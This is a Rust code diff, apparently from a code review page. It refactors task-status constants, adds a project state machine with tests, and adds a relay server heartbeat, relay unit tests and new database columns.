// in_review → in_progress (+1) → in_review (前向,不动) → in_progress (+1=2) // in_review → in_progress (+1) → in_review (前向,不动) → in_progress (+1=2)
advance_task_atomic(&repo, "t1", "in_progress").await.unwrap(); advance_task_atomic(&repo, "t1", "in_progress").await.unwrap();
advance_task_atomic(&repo, "t1", "in_review").await.unwrap(); advance_task_atomic(&repo, "t1", "in_review").await.unwrap();
@@ -269,7 +270,7 @@ mod tests {
async fn illegal_skip_rejected() { async fn illegal_skip_rejected() {
// CR-01-D: 非法转换(跳态)归 InvalidState,且消息含 from→to 上下文与「非法状态转换」。 // CR-01-D: 非法转换(跳态)归 InvalidState,且消息含 from→to 上下文与「非法状态转换」。
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "todo")).await.unwrap(); repo.insert(rec("t1", TaskStatus::Todo)).await.unwrap();
let err = advance_task_atomic(&repo, "t1", "done").await.unwrap_err(); let err = advance_task_atomic(&repo, "t1", "done").await.unwrap_err();
match err { match err {
df_types::error::Error::InvalidState { current, expected } => { df_types::error::Error::InvalidState { current, expected } => {
@@ -285,7 +286,7 @@ mod tests {
async fn terminal_done_no_successor() { async fn terminal_done_no_successor() {
// CR-01-D: 终态无后继也是非法转换路径,归 InvalidState(同 illegal_skip_rejected)。 // CR-01-D: 终态无后继也是非法转换路径,归 InvalidState(同 illegal_skip_rejected)。
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "done")).await.unwrap(); repo.insert(rec("t1", TaskStatus::Done)).await.unwrap();
let err = advance_task_atomic(&repo, "t1", "todo").await.unwrap_err(); let err = advance_task_atomic(&repo, "t1", "todo").await.unwrap_err();
match err { match err {
df_types::error::Error::InvalidState { current, .. } => { df_types::error::Error::InvalidState { current, .. } => {
@@ -301,7 +302,7 @@ mod tests {
// 同态属空操作,归 Validation「相同状态,无需推进」; // 同态属空操作,归 Validation「相同状态,无需推进」;
// 非法转换归 InvalidState「非法状态转换 X→Y」(见 illegal_skip_rejected)。 // 非法转换归 InvalidState「非法状态转换 X→Y」(见 illegal_skip_rejected)。
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "in_progress")).await.unwrap(); repo.insert(rec("t1", TaskStatus::InProgress)).await.unwrap();
let err = advance_task_atomic(&repo, "t1", "in_progress").await.unwrap_err(); let err = advance_task_atomic(&repo, "t1", "in_progress").await.unwrap_err();
match err { match err {
df_types::error::Error::Validation(msg) => { df_types::error::Error::Validation(msg) => {
@@ -314,7 +315,7 @@ mod tests {
#[tokio::test] #[tokio::test]
async fn invalid_target_rejected() { async fn invalid_target_rejected() {
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "todo")).await.unwrap(); repo.insert(rec("t1", TaskStatus::Todo)).await.unwrap();
let err = advance_task_atomic(&repo, "t1", "merged").await.unwrap_err(); let err = advance_task_atomic(&repo, "t1", "merged").await.unwrap_err();
assert!(matches!(err, df_types::error::Error::Validation(_))); assert!(matches!(err, df_types::error::Error::Validation(_)));
} }
@@ -332,7 +333,7 @@ mod tests {
// 注:这并非 CAS 并发失败场景(真 CAS 失败由 cas_returns_none_when_status_mismatch 覆盖), // 注:这并非 CAS 并发失败场景(真 CAS 失败由 cas_returns_none_when_status_mismatch 覆盖),
// 而是验证读后改路径在 from=当前库内 status 时正常推进。 // 而是验证读后改路径在 from=当前库内 status 时正常推进。
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "todo")).await.unwrap(); repo.insert(rec("t1", TaskStatus::Todo)).await.unwrap();
// 另一路推进把 status 改成 in_progress(模拟并发推进,走 CAS 合法路径; // 另一路推进把 status 改成 in_progress(模拟并发推进,走 CAS 合法路径;
// F-03 收口后 status 不在 update_field 白名单,模拟并发改态须走 advance_status_atomic) // F-03 收口后 status 不在 update_field 白名单,模拟并发改态须走 advance_status_atomic)
repo.advance_status_atomic("t1", "todo", "in_progress", false) repo.advance_status_atomic("t1", "todo", "in_progress", false)
@@ -340,13 +341,13 @@ mod tests {
.unwrap(); .unwrap();
// 读出来是 in_progress,推进到 in_review 合法 → 正常成功 // 读出来是 in_progress,推进到 in_review 合法 → 正常成功
let r = advance_task_atomic(&repo, "t1", "in_review").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "in_review").await.unwrap();
assert_eq!(r.status, "in_review"); assert_eq!(r.status.as_str(), "in_review");
} }
#[tokio::test] #[tokio::test]
async fn cas_returns_none_when_status_mismatch() { async fn cas_returns_none_when_status_mismatch() {
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "todo")).await.unwrap(); repo.insert(rec("t1", TaskStatus::Todo)).await.unwrap();
// 直接调底层:expected 传错(模拟读到 todo 但实际已被改成 in_progress) // 直接调底层:expected 传错(模拟读到 todo 但实际已被改成 in_progress)
let r = repo let r = repo
.advance_status_atomic("t1", "todo", "in_review", false) .advance_status_atomic("t1", "todo", "in_review", false)
@@ -365,12 +366,12 @@ mod tests {
#[tokio::test] #[tokio::test]
async fn blocked_round_trip_does_not_bump() { async fn blocked_round_trip_does_not_bump() {
let repo = setup().await; let repo = setup().await;
repo.insert(rec("t1", "in_progress")).await.unwrap(); repo.insert(rec("t1", TaskStatus::InProgress)).await.unwrap();
let r = advance_task_atomic(&repo, "t1", "blocked").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "blocked").await.unwrap();
assert_eq!(r.status, "blocked"); assert_eq!(r.status.as_str(), "blocked");
assert_eq!(r.review_rounds, 0, "进 blocked 不累加"); assert_eq!(r.review_rounds, 0, "进 blocked 不累加");
let r = advance_task_atomic(&repo, "t1", "in_progress").await.unwrap(); let r = advance_task_atomic(&repo, "t1", "in_progress").await.unwrap();
assert_eq!(r.status, "in_progress"); assert_eq!(r.status.as_str(), "in_progress");
assert_eq!(r.review_rounds, 0, "解除 blocked 不累加"); assert_eq!(r.review_rounds, 0, "解除 blocked 不累加");
} }
@@ -460,24 +461,24 @@ mod tests {
async fn callback_completed_advance_lands_in_db() { async fn callback_completed_advance_lands_in_db() {
// in_progress: todo → in_progress(②-3 in_progress 模板完成) // in_progress: todo → in_progress(②-3 in_progress 模板完成)
let repo = setup().await; let repo = setup().await;
repo.insert(rec("c1", "todo")).await.unwrap(); repo.insert(rec("c1", TaskStatus::Todo)).await.unwrap();
let to = callback_advance_target("completed", "in_progress").unwrap(); let to = callback_advance_target("completed", "in_progress").unwrap();
let r = advance_task_atomic(&repo, "c1", &to).await.unwrap(); let r = advance_task_atomic(&repo, "c1", &to).await.unwrap();
assert_eq!(r.status, "in_progress"); assert_eq!(r.status.as_str(), "in_progress");
assert_eq!(r.review_rounds, 0, "②-3 前向推进不累加 review_rounds"); assert_eq!(r.review_rounds, 0, "②-3 前向推进不累加 review_rounds");
// testing: in_review → testing(②-3 testing 模板自审+核对通过) // testing: in_review → testing(②-3 testing 模板自审+核对通过)
repo.insert(rec("c2", "in_review")).await.unwrap(); repo.insert(rec("c2", TaskStatus::InReview)).await.unwrap();
let to = callback_advance_target("completed", "testing").unwrap(); let to = callback_advance_target("completed", "testing").unwrap();
let r = advance_task_atomic(&repo, "c2", &to).await.unwrap(); let r = advance_task_atomic(&repo, "c2", &to).await.unwrap();
assert_eq!(r.status, "testing"); assert_eq!(r.status.as_str(), "testing");
assert_eq!(r.review_rounds, 0); assert_eq!(r.review_rounds, 0);
// done: testing → done(②-3 done 模板最终核对通过) // done: testing → done(②-3 done 模板最终核对通过)
repo.insert(rec("c3", "testing")).await.unwrap(); repo.insert(rec("c3", TaskStatus::Testing)).await.unwrap();
let to = callback_advance_target("completed", "done").unwrap(); let to = callback_advance_target("completed", "done").unwrap();
let r = advance_task_atomic(&repo, "c3", &to).await.unwrap(); let r = advance_task_atomic(&repo, "c3", &to).await.unwrap();
assert_eq!(r.status, "done"); assert_eq!(r.status.as_str(), "done");
assert_eq!(r.review_rounds, 0); assert_eq!(r.review_rounds, 0);
} }
@@ -487,32 +488,32 @@ mod tests {
async fn callback_failed_regression_lands_in_db_with_rounds_bump() { async fn callback_failed_regression_lands_in_db_with_rounds_bump() {
// testing 模板失败:任务当前 testing → 退回 in_review(rounds+1) // testing 模板失败:任务当前 testing → 退回 in_review(rounds+1)
let repo = setup().await; let repo = setup().await;
repo.insert(rec("f1", "testing")).await.unwrap(); repo.insert(rec("f1", TaskStatus::Testing)).await.unwrap();
let to = callback_advance_target("failed", "testing").unwrap(); let to = callback_advance_target("failed", "testing").unwrap();
assert_eq!(to, "in_review", "testing 失败应退回 in_review"); assert_eq!(to, "in_review", "testing 失败应退回 in_review");
let r = advance_task_atomic(&repo, "f1", &to).await.unwrap(); let r = advance_task_atomic(&repo, "f1", &to).await.unwrap();
assert_eq!(r.status, "in_review"); assert_eq!(r.status.as_str(), "in_review");
assert_eq!(r.review_rounds, 1, "②-4 退回应累加 review_rounds(+1)"); assert_eq!(r.review_rounds, 1, "②-4 退回应累加 review_rounds(+1)");
// in_review 模板失败(注:in_review 非 callback target,但映射存在性仍锁定): // in_review 模板失败(注:in_review 非 callback target,但映射存在性仍锁定):
// in_review → in_progress。此处验证 regression_target 对 in_review 的映射, // in_review → in_progress。此处验证 regression_target 对 in_review 的映射,
// 即便当前推进链 testing 模板失败也可能退到 in_progress(链式退回)。 // 即便当前推进链 testing 模板失败也可能退到 in_progress(链式退回)。
repo.insert(rec("f2", "in_review")).await.unwrap(); repo.insert(rec("f2", TaskStatus::InReview)).await.unwrap();
let to = callback_advance_target("failed", "in_review").unwrap(); let to = callback_advance_target("failed", "in_review").unwrap();
assert_eq!(to, "in_progress"); assert_eq!(to, "in_progress");
let r = advance_task_atomic(&repo, "f2", &to).await.unwrap(); let r = advance_task_atomic(&repo, "f2", &to).await.unwrap();
assert_eq!(r.status, "in_progress"); assert_eq!(r.status.as_str(), "in_progress");
assert_eq!(r.review_rounds, 1); assert_eq!(r.review_rounds, 1);
// in_progress 模板失败:regression_target("in_progress")=None(CR-13-O1-b), // in_progress 模板失败:regression_target("in_progress")=None(CR-13-O1-b),
// 回调返回 None → 跳过推进,任务保留 in_progress 等人介入。 // 回调返回 None → 跳过推进,任务保留 in_progress 等人介入。
// 验证:callback 返回 None,不调 advance_task_atomic。 // 验证:callback 返回 None,不调 advance_task_atomic。
repo.insert(rec("f3", "in_progress")).await.unwrap(); repo.insert(rec("f3", TaskStatus::InProgress)).await.unwrap();
let to = callback_advance_target("failed", "in_progress"); let to = callback_advance_target("failed", "in_progress");
assert_eq!(to, None, "in_progress 失败应跳过推进(None),实际: {to:?}"); assert_eq!(to, None, "in_progress 失败应跳过推进(None),实际: {to:?}");
// 任务状态未被改动(仍是 in_progress) // 任务状态未被改动(仍是 in_progress)
let still = repo.get_by_id("f3").await.unwrap().unwrap(); let still = repo.get_by_id("f3").await.unwrap().unwrap();
assert_eq!(still.status, "in_progress", "None 退回不应改动 status"); assert_eq!(still.status.as_str(), "in_progress", "None 退回不应改动 status");
} }
/// ②-4 回调 failed+done 无退回映射验证:callback_advance_target 返回 None。 /// ②-4 回调 failed+done 无退回映射验证:callback_advance_target 返回 None。

View File

@@ -22,27 +22,29 @@
//! - cancelled → 终态 //! - cancelled → 终态
// ============================================================ // ============================================================
// 状态字符串常量 — df-types::TaskStatus::as_str 一一对应 // 状态字符串常量 — df-types::TaskStatus::as_str 派生(单一真相源)
// ============================================================ // ============================================================
// //
// 不复用 df-types::TaskStatus enum(独立模块定位 + 避免推进链判定耦合存储枚举类型), // 任务 #17 合并:字符串常量不再独立定义,直接从 `TaskStatus::as_str()` 派生。
// 但字符串值严格对齐(df-types::TaskStatus::as_str 产出的小写 snake_case), // 消除 df-nodes 字符串常量与 df-types enum 之间的双源问题—— 任一处修改 enum 的
// 保证状态机判定的 from/to 与数据库 status 列存值语义一致 // as_str 输出,本模块常量自动同步,编译期即可发现柡移
use df_types::types::TaskStatus;
/// 待开始 /// 待开始
pub const TODO: &str = "todo"; pub const TODO: &str = TaskStatus::Todo.as_str();
/// 进行中 /// 进行中
pub const IN_PROGRESS: &str = "in_progress"; pub const IN_PROGRESS: &str = TaskStatus::InProgress.as_str();
/// 代码审查中 /// 代码审查中
pub const IN_REVIEW: &str = "in_review"; pub const IN_REVIEW: &str = TaskStatus::InReview.as_str();
/// 测试中 /// 测试中
pub const TESTING: &str = "testing"; pub const TESTING: &str = TaskStatus::Testing.as_str();
/// 已完成(终态) /// 已完成(终态)
pub const DONE: &str = "done"; pub const DONE: &str = TaskStatus::Done.as_str();
/// 已阻塞 /// 已阻塞
pub const BLOCKED: &str = "blocked"; pub const BLOCKED: &str = TaskStatus::Blocked.as_str();
/// 已取消(终态) /// 已取消(终态)
pub const CANCELLED: &str = "cancelled"; pub const CANCELLED: &str = TaskStatus::Cancelled.as_str();
/// 全部合法状态值(供输入校验与错误提示复用) /// 全部合法状态值(供输入校验与错误提示复用)
pub const ALL_STATES: &[&str] = &[ pub const ALL_STATES: &[&str] = &[

View File

@@ -11,3 +11,4 @@ tokio = { workspace = true }
anyhow = { workspace = true } anyhow = { workspace = true }
chrono = { workspace = true } chrono = { workspace = true }
tracing = { workspace = true } tracing = { workspace = true }
thiserror = { workspace = true }

View File

@@ -1,4 +1,10 @@
//! 项目管理器 — 项目的 CRUD 与生命周期管理 //! 项目管理器 — 项目的领域层(CRUD 构造 + 状态机 + 业务约束)
//!
//! 任务 #16 真分层:本 crate 不再只是"构造实体的工厂函数",而是承载项目领域规则。
//! Storage 层(df-storage::ProjectRepo)仅负责持久化,状态合法性 / 业务约束在此。
//!
//! 调用方(src-tauri commands/project.rs)推进项目状态时必须经
//! `ProjectManager::can_transition` / `transition` 校验,防非法跳态。
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
@@ -39,15 +45,32 @@ pub struct CreateProjectInput {
pub tags: Vec<String>, pub tags: Vec<String>,
} }
/// 项目管理器 /// 项目状态机错误
#[derive(Debug, thiserror::Error)]
pub enum ProjectTransitionError {
#[error("项目状态转换非法: {from:?} → {to:?}")]
IllegalTransition {
from: ProjectStatus,
to: ProjectStatus,
},
#[error("项目名称不能为空")]
EmptyName,
#[error("项目已处在终态 {0:?},不可再推进")]
TerminalState(ProjectStatus),
}
/// 项目管理器(无状态纯逻辑,实体构造 + 状态机 + 业务约束)
pub struct ProjectManager; pub struct ProjectManager;
impl ProjectManager { impl ProjectManager {
/// 创建新项目 — 构造领域实体(不落库);持久化由调用方经 storage 层 ProjectRecord 映射完成 /// 创建新项目 — 构造领域实体(不落库);持久化由调用方经 storage 层 ProjectRecord 映射完成
/// (见 commands/idea.rs::promote_idea)。领域层不依赖 storage,保持分层。 /// (见 commands/idea.rs::promote_idea)。领域层不依赖 storage,保持分层。
pub fn create(input: CreateProjectInput) -> Project { pub fn create(input: CreateProjectInput) -> Result<Project, ProjectTransitionError> {
if input.name.trim().is_empty() {
return Err(ProjectTransitionError::EmptyName);
}
let now = chrono::Utc::now(); let now = chrono::Utc::now();
Project { Ok(Project {
id: df_types::types::new_id(), id: df_types::types::new_id(),
name: input.name, name: input.name,
description: input.description, description: input.description,
@@ -57,11 +80,15 @@ impl ProjectManager {
tags: input.tags, tags: input.tags,
created_at: now, created_at: now,
updated_at: now, updated_at: now,
} })
} }
/// 从想法创建项目 /// 从想法创建项目
pub fn create_from_idea(name: String, description: String, idea_id: IdeaId) -> Project { pub fn create_from_idea(
name: String,
description: String,
idea_id: IdeaId,
) -> Result<Project, ProjectTransitionError> {
Self::create(CreateProjectInput { Self::create(CreateProjectInput {
name, name,
description, description,
@@ -71,4 +98,118 @@ impl ProjectManager {
}) })
} }
/// 判断项目状态转换是否合法(状态机核心)。
///
/// 项目状态语义(与 ARCHITECTURE.md 一致):
/// - Planning → InProgress(开始), Cancelled(取消)
/// - InProgress → Testing(提交测试), Paused(暂停), Cancelled
/// - Testing → Completed(测试通过), InProgress(退回开发), Cancelled
/// - Completed → 终态(不可变)
/// - Paused → InProgress(恢复), Cancelled
/// - Cancelled → 终态
pub fn can_transition(from: &ProjectStatus, to: &ProjectStatus) -> bool {
use ProjectStatus::*;
matches!((from, to),
(Planning, InProgress) | (Planning, Cancelled)
| (InProgress, Testing) | (InProgress, Paused) | (InProgress, Cancelled)
| (Testing, Completed) | (Testing, InProgress) | (Testing, Cancelled)
| (Paused, InProgress) | (Paused, Cancelled)
)
}
/// 执行状态转换,返回新状态或非法错误。
///
/// 调用方(如 IPC `update_project_status` / `advance_project`)应用本方法校验后
/// 再写 storage,防跳态(如 Planning → Completed 跳过 Testing)。
pub fn transition(
from: ProjectStatus,
to: ProjectStatus,
) -> Result<ProjectStatus, ProjectTransitionError> {
if !Self::can_transition(&from, &to) {
// 区分错误: 终态→任何 vs 一般非法
if matches!(from, ProjectStatus::Completed | ProjectStatus::Cancelled) {
return Err(ProjectTransitionError::TerminalState(from));
}
return Err(ProjectTransitionError::IllegalTransition { from, to });
}
Ok(to)
}
/// 是否为终态(不可再转换)
pub fn is_terminal(s: &ProjectStatus) -> bool {
matches!(s, ProjectStatus::Completed | ProjectStatus::Cancelled)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn create_rejects_empty_name() {
let err = ProjectManager::create(CreateProjectInput {
name: " ".into(),
description: String::new(),
idea_id: None,
priority: Priority::default(),
tags: vec![],
}).unwrap_err();
assert!(matches!(err, ProjectTransitionError::EmptyName));
}
#[test]
fn main_path_planning_to_completed() {
use ProjectStatus::*;
assert!(ProjectManager::can_transition(&Planning, &InProgress));
assert!(ProjectManager::can_transition(&InProgress, &Testing));
assert!(ProjectManager::can_transition(&Testing, &Completed));
}
#[test]
fn illegal_skips_rejected() {
use ProjectStatus::*;
assert!(!ProjectManager::can_transition(&Planning, &Completed));
assert!(!ProjectManager::can_transition(&Planning, &Testing));
assert!(!ProjectManager::can_transition(&InProgress, &Completed));
}
#[test]
fn terminal_states_block_all() {
use ProjectStatus::*;
for term in [Completed, Cancelled] {
for to in [Planning, InProgress, Testing, Paused] {
assert!(!ProjectManager::can_transition(&term, &to));
}
}
}
#[test]
fn paused_round_trip() {
use ProjectStatus::*;
assert!(ProjectManager::can_transition(&InProgress, &Paused));
assert!(ProjectManager::can_transition(&Paused, &InProgress));
}
#[test]
fn transition_returns_target_on_legal() {
use ProjectStatus::*;
assert_eq!(
ProjectManager::transition(Planning, InProgress).unwrap(),
InProgress
);
}
#[test]
fn transition_errors_on_illegal() {
use ProjectStatus::*;
let err = ProjectManager::transition(Planning, Completed).unwrap_err();
assert!(matches!(err, ProjectTransitionError::IllegalTransition { .. }));
}
#[test]
fn transition_errors_on_terminal_source() {
use ProjectStatus::*;
let err = ProjectManager::transition(Completed, InProgress).unwrap_err();
assert!(matches!(err, ProjectTransitionError::TerminalState(_)));
}
} }

View File

@@ -32,13 +32,12 @@ use crate::broadcast::{BroadcastMessage, ClientKind, MessageKind};
use crate::conn::{next_conn_id, ConnHandle, ConnId, RelayState}; use crate::conn::{next_conn_id, ConnHandle, ConnId, RelayState};
use crate::error::{RelayError, Result}; use crate::error::{RelayError, Result};
/// MVP 默认 token(env `DF_RELAY_TOKEN` 缺省时回退)。 /// 读取期望 token(必需:env `DF_RELAY_TOKEN` 必须设置,未设置时 panic)。
/// 生产级鉴权(每 device 独立 token + 过期刷新)留 Phase3。 /// 生产级鉴权(每 device 独立 token + 过期刷新)留 Phase3。
const DEFAULT_TOKEN: &str = "devflow-relay-default-token";
/// 读取期望 token(env 优先,fallback 硬编码)
fn expected_token() -> String { fn expected_token() -> String {
std::env::var("DF_RELAY_TOKEN").unwrap_or_else(|_| DEFAULT_TOKEN.to_string()) std::env::var("DF_RELAY_TOKEN").unwrap_or_else(|_| {
panic!("必须设置环境变量 DF_RELAY_TOKEN")
})
} }
/// 客户端首消息:身份宣告(简单协议) /// 客户端首消息:身份宣告(简单协议)
@@ -347,7 +346,35 @@ async fn handle_inbound_text(
) -> Result<()> { ) -> Result<()> {
// 入站文本即业务 payload(relay 不解析),包成 BroadcastMessage // 入站文本即业务 payload(relay 不解析),包成 BroadcastMessage
// payload 直接用原始 JSON 值;若客户端发非 JSON 文本,则包成字符串值 // payload 直接用原始 JSON 值;若客户端发非 JSON 文本,则包成字符串值
let payload: serde_json::Value = serde_json::from_str(raw).unwrap_or(serde_json::Value::String(raw.to_string())); let payload: serde_json::Value =
serde_json::from_str(raw).unwrap_or(serde_json::Value::String(raw.to_string()));
// 心跳协议:miniapp 发 {control_kind: "ping"} → relay 直接回 pong(不经 device 透传)。
// miniapp 用 pong 更新 lastPongTime 看门狗(防移动网络 TCP 半连接挂死)。
// device 端收到 control 消息也仅 console.log,不影响业务。
if let Some(control_kind) = payload
.get("control_kind")
.and_then(|v| v.as_str())
{
if control_kind == "ping" && kind == ClientKind::Miniapp {
let pong_payload = serde_json::json!({"control_kind": "pong"});
let pong_msg = BroadcastMessage {
device_id: device_id.to_string(),
kind: crate::broadcast::MessageKind::Control,
source: conn_id,
from: ClientKind::Device, // pong 来自 relay(代理 device),让 miniapp 识别为合法响应
payload: pong_payload,
ts: now_ms(),
};
let _ = state.route(&pong_msg).await;
tracing::trace!(
conn_id = conn_id.0,
device_id = %device_id,
"miniapp ping → relay pong(本地响应)"
);
return Ok(());
}
}
let now = now_ms(); let now = now_ms();
let (msg_kind, from) = match kind { let (msg_kind, from) = match kind {

View File

@@ -0,0 +1,233 @@
//! df-relay 单元测试(任务 #12
//!
//! 覆盖纯逻辑(不依赖 axum server
//! - ConnRegistry: add/remove/is_online/route四种路由规则
//! - BroadcastMessage 构造器
//! - RelayState async 包装
//! - next_conn_id 单调递增
#![cfg(test)]
use df_relay::{
next_conn_id, BroadcastMessage, ClientKind, ConnHandle, ConnId, ConnRegistry, MessageKind,
RelayState,
};
use tokio::sync::mpsc;
// ---------- ConnId 分配 ----------
#[test]
fn next_conn_id_monotonic() {
let a = next_conn_id();
let b = next_conn_id();
let c = next_conn_id();
assert!(b.0 > a.0, "next_conn_id 应单调递增");
assert!(c.0 > b.0);
}
#[test]
fn conn_id_nil_is_zero() {
assert_eq!(ConnId::NIL.0, 0);
assert_ne!(next_conn_id(), ConnId::NIL, "分配的 id 不应为 NIL(0)");
}
// ---------- ConnRegistry 基础操作 ----------
fn make_handle(id: ConnId, kind: ClientKind, device_id: &str) -> (ConnHandle, mpsc::UnboundedReceiver<BroadcastMessage>) {
let (tx, rx) = mpsc::unbounded_channel();
(ConnHandle::new(id, kind, device_id.to_string(), tx), rx)
}
/// 注册连接并返回 receiver保活防 channel 关闭)。
fn register(reg: &mut ConnRegistry, id: ConnId, kind: ClientKind, device_id: &str) -> mpsc::UnboundedReceiver<BroadcastMessage> {
let (handle, rx) = make_handle(id, kind, device_id);
reg.add(handle);
rx
}
#[test]
fn registry_add_and_lookup() {
let mut reg = ConnRegistry::new();
let id = next_conn_id();
let _rx = register(&mut reg, id, ClientKind::Device, "dev-1");
assert_eq!(reg.len(), 1);
assert!(reg.is_device_online("dev-1"));
assert!(!reg.is_device_online("dev-2"));
}
#[test]
fn registry_remove_returns_device_id() {
let mut reg = ConnRegistry::new();
let id = next_conn_id();
let _rx = register(&mut reg, id, ClientKind::Device, "dev-1");
let removed = reg.remove(id);
assert_eq!(removed.as_deref(), Some("dev-1"));
assert_eq!(reg.len(), 0);
assert!(!reg.is_device_online("dev-1"));
}
#[test]
fn registry_remove_unknown_returns_none() {
let mut reg = ConnRegistry::new();
assert_eq!(reg.remove(ConnId(9999)), None);
}
#[test]
fn registry_supports_multi_conn_per_device() {
let mut reg = ConnRegistry::new();
let d1 = next_conn_id();
let m1 = next_conn_id();
let _r1 = register(&mut reg, d1, ClientKind::Device, "dev-1");
let _r2 = register(&mut reg, m1, ClientKind::Miniapp, "dev-1");
assert_eq!(reg.len(), 2);
assert!(reg.is_device_online("dev-1"));
reg.remove(d1);
assert!(reg.is_device_online("dev-1"));
reg.remove(m1);
assert!(!reg.is_device_online("dev-1"));
}
#[test]
fn registry_empty_default() {
let reg = ConnRegistry::new();
assert!(reg.is_empty());
assert_eq!(reg.len(), 0);
}
// ---------- 路由规则 ----------
#[test]
fn route_event_device_to_miniapp_only() {
let mut reg = ConnRegistry::new();
let dev = next_conn_id();
let mini = next_conn_id();
let other_mini = next_conn_id();
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
let _r2 = register(&mut reg, mini, ClientKind::Miniapp, "dev-1");
let _r3 = register(&mut reg, other_mini, ClientKind::Miniapp, "dev-2");
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
let delivered = reg.route(&msg);
assert_eq!(delivered, 1, "Event 应只投递给 dev-1 的小程序");
}
#[test]
fn route_command_miniapp_to_device_only() {
let mut reg = ConnRegistry::new();
let dev = next_conn_id();
let mini = next_conn_id();
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
let _r2 = register(&mut reg, mini, ClientKind::Miniapp, "dev-1");
let msg = BroadcastMessage {
device_id: "dev-1".into(),
kind: MessageKind::Command,
source: mini,
from: ClientKind::Miniapp,
payload: serde_json::json!({}),
ts: 0,
};
let delivered = reg.route(&msg);
assert_eq!(delivered, 1, "Command 应只投递给 dev-1 的桌面端");
}
#[test]
fn route_does_not_loop_back_to_source() {
let mut reg = ConnRegistry::new();
let dev = next_conn_id();
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
let delivered = reg.route(&msg);
assert_eq!(delivered, 0, "不应回环给来源");
}
#[test]
fn route_control_to_all_except_source() {
let mut reg = ConnRegistry::new();
let dev = next_conn_id();
let mini1 = next_conn_id();
let mini2 = next_conn_id();
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
let _r2 = register(&mut reg, mini1, ClientKind::Miniapp, "dev-1");
let _r3 = register(&mut reg, mini2, ClientKind::Miniapp, "dev-1");
let msg = BroadcastMessage {
device_id: "dev-1".into(),
kind: MessageKind::Control,
source: dev,
from: ClientKind::Device,
payload: serde_json::json!({}),
ts: 0,
};
let delivered = reg.route(&msg);
assert_eq!(delivered, 2, "Control 应投递给除来源外的所有同 device 连接");
}
#[test]
fn route_unknown_device_zero() {
let reg = ConnRegistry::new();
let msg = BroadcastMessage::from_device("nope", ConnId::NIL, serde_json::json!({}), 0);
assert_eq!(reg.route(&msg), 0);
}
#[test]
fn route_event_not_delivered_to_device() {
let mut reg = ConnRegistry::new();
let dev1 = next_conn_id();
let dev2 = next_conn_id();
let _r1 = register(&mut reg, dev1, ClientKind::Device, "dev-1");
let _r2 = register(&mut reg, dev2, ClientKind::Device, "dev-1");
let msg = BroadcastMessage::from_device("dev-1", dev1, serde_json::json!({}), 0);
assert_eq!(reg.route(&msg), 0, "两个 Device 互发 Event 不应投递");
}
// ---------- BroadcastMessage 构造器 ----------
#[test]
fn from_device_sets_event_kind_and_from() {
let msg = BroadcastMessage::from_device("dev-1", ConnId(42), serde_json::json!({"a": 1}), 12345);
assert_eq!(msg.device_id, "dev-1");
assert_eq!(msg.kind, MessageKind::Event);
assert_eq!(msg.from, ClientKind::Device);
assert_eq!(msg.source, ConnId(42));
assert_eq!(msg.ts, 12345);
assert_eq!(msg.payload, serde_json::json!({"a": 1}));
}
// ---------- RelayState async 包装 ----------
#[tokio::test]
async fn relay_state_add_and_remove_conn() {
let state = RelayState::new();
let id = next_conn_id();
let (handle, _rx) = make_handle(id, ClientKind::Device, "dev-1");
state.add_conn(handle).await;
assert!(state.is_device_online("dev-1").await);
let removed = state.remove_conn(id).await;
assert_eq!(removed.as_deref(), Some("dev-1"));
assert!(!state.is_device_online("dev-1").await);
}
#[tokio::test]
async fn relay_state_route_async() {
let state = RelayState::new();
let dev = next_conn_id();
let mini = next_conn_id();
let (h1, _r1) = make_handle(dev, ClientKind::Device, "dev-1");
let (h2, _r2) = make_handle(mini, ClientKind::Miniapp, "dev-1");
state.add_conn(h1).await;
state.add_conn(h2).await;
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
let n = state.route(&msg).await;
assert_eq!(n, 1);
}

View File

@@ -84,6 +84,8 @@ fn ai_conversation_from_row(row: &Row<'_>) -> std::result::Result<AiConversation
pinned: row.get::<_, i32>("pinned")? != 0, pinned: row.get::<_, i32>("pinned")? != 0,
prompt_tokens: row.get("prompt_tokens")?, prompt_tokens: row.get("prompt_tokens")?,
completion_tokens: row.get("completion_tokens")?, completion_tokens: row.get("completion_tokens")?,
pinned_goals: row.get("pinned_goals")?,
pending_approvals: row.get("pending_approvals")?,
created_at: row.get("created_at")?, created_at: row.get("created_at")?,
updated_at: row.get("updated_at")?, updated_at: row.get("updated_at")?,
}) })
@@ -159,24 +161,24 @@ impl_repo!(
from_row => |row| ai_conversation_from_row(row), from_row => |row| ai_conversation_from_row(row),
insert => |conn, rec| { insert => |conn, rec| {
conn.execute( conn.execute(
"INSERT INTO ai_conversations (id, title, messages, provider_id, model, models, archived, pinned, prompt_tokens, completion_tokens, created_at, updated_at) "INSERT INTO ai_conversations (id, title, messages, provider_id, model, models, archived, pinned, prompt_tokens, completion_tokens, pinned_goals, pending_approvals, created_at, updated_at)
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12)", VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14)",
params![ params![
rec.id, rec.title, rec.messages, rec.provider_id, rec.model, rec.models, rec.archived, rec.id, rec.title, rec.messages, rec.provider_id, rec.model, rec.models, rec.archived,
if rec.pinned { 1i32 } else { 0i32 }, if rec.pinned { 1i32 } else { 0i32 },
rec.prompt_tokens, rec.completion_tokens, rec.prompt_tokens, rec.completion_tokens,
rec.created_at, rec.updated_at rec.pinned_goals, rec.pending_approvals, rec.created_at, rec.updated_at
], ],
) )
}, },
update => |conn, rec| { update => |conn, rec| {
